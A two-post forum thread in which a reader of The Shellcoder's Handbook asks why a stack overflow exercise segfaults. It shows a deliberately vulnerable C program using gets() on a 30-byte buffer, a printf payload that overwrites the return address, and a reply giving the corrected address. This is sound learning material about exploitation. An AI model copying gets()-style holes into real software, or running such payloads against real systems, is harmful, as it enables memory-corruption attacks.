Results 1 to 2 of 2

Thread: Segmentation fault problem

Hybrid View

  1. #1
    Just burned his ISO
    Join Date
    Dec 2009
    Posts
    1

    Default Segmentation fault problem

    Hello everyone i have a little problem and i am looking forward for someone to tell me how to solve it.

    I am reading shellcoder's handbook and i am just getting the message:
    Segmentation fault

    How can i fix it.
    #include <stdio.h>
    #include <string.h>
    void return_input (void)
    {
    char array[30];
    gets (array);
    printf("%s\n", array);
    }
    main()
    {
    return_input();
    return 0;
    }
    the shellcode
    printf "AACDDDDAAAAAAAAAABBBBBBBBBAAAAAA\x05\x84\x04\ x08" | ./overflow
    and the assembly core dump
    Dump of assembler code for function main:
    0x08048402 <main+0>: push %ebp
    0x08048403 <main+1>: mov %esp,%ebp
    0x08048405 <main+3>: call 0x80483e4 <return_input>
    0x0804840a <main+8>: mov $0x0,%eax
    0x0804840f <main+13>: pop %ebp
    0x08048410 <main+14>: ret
    End of assembler dump.
    I have tried turning off ASLR but no luck.

  2. #2
    Just burned his ISO ardnivar's Avatar
    Join Date
    Jan 2009
    Posts
    2

    Default

    Quote Originally Posted by Except1onX View Post
    Hello everyone i have a little problem and i am looking forward for someone to tell me how to solve it.

    I am reading shellcoder's handbook and i am just getting the message:
    Segmentation fault

    How can i fix it.

    the shellcode

    and the assembly core dump

    I have tried turning off ASLR but no luck.
    You seem to be returning to the 'call' instruction when i distinctly remmember that you have to return to the instruction after the function call which is at: 0x0804840a

    so your overflow should be: printf "AACDDDDAAAAAAAAAABBBBBBBBBAAAAAA\x0a\x84\x04\ x08" | ./overflow

    The whole point is to overflow "return_input"'s stack and overwrite the function's return address to point to the very next instruction in "main".
    best of luck

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •